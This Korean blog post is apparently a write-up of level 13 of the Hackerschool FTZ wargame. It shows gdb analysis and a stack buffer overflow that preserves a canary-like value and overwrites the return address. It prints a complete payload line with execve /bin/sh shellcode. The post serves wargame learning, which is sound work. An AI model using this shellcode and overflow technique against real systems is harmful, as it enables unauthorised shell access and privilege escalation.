level13

해커스쿨 FTZ 2018. 3. 28. 14:59

이제는 거의 공식이 되어버린 hint파일로 컴파일하기...

우선 gdb로 main을 디스어셈블해보았다.


main+3의 0x418은 demical로 1048이다. 코드에서 요청한 1024에 더미 24가 추가된것을 볼 수 있다.


그리고 밑에 main+19를 보면 long i =0x1234567이 그대로 들어가는 것을 볼 수 있다.


main+76에 bp를 걸고 run해보았다.



입력한 A들이 0xbfffeb00부터 입력되어 있는것을 알 수 있다.


i가 어디저장되어있는지 찾기 위해 A를 1024개 입력해 보았다.



0xbfffef40: 줄에 마지막에 0x01234567이 있는것이 보인다. 이것이 수정되면

이렇게 버퍼오버플로우가 되었다고 하면서 프로세스를 kill해버린다.


그래서 0x01234567의 위치를 고려해서

`python -c 'print "\x90"*950 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*61 + "\x67\x45\x23\x01" + "\x90"*12 + "\x50\xeb\xff\xbf"'`

로 파이썬 코드를 짰다.


사실 환경변수를 사용하기에 중간에 쉘코드를 넣을 필요는 없었지만 처음엔 메모리 내에 ret해서 실행해보고자 하였기에 코드가 저렇게 되었다.


환경변수를 설정하고

주소를 찾는 코드를 짜고


ret을 해당 주소로 오버플로우 햇더니 쉘을 얻을 수 있었다.


해결!

'해커스쿨 FTZ' 카테고리의 다른 글

LEVEL15  (0) 2018.03.29
level14  (0) 2018.03.28
level12  (0) 2018.03.28
level11  (0) 2018.03.27
level10  (0) 2018.03.26
블로그 이미지

천재보다는 범재

,